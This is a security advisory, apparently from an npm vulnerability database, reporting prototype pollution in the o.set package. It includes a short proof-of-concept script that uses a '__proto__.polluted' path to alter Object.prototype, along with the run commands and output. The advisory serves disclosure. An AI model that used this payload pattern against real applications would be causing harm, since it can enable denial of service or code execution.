o.set

vulnerability prototype pollution
severity 7.3
language typescript
registry npm

Description

o.set is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var o = require("o.set")
var obj = {};
console.log("Before: " + {}.polluted)
o(obj, "__proto__.polluted", true)
console.log("After: " + {}.polluted)
  1. Execute the following commands in the terminal:
npm i o.set # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.

References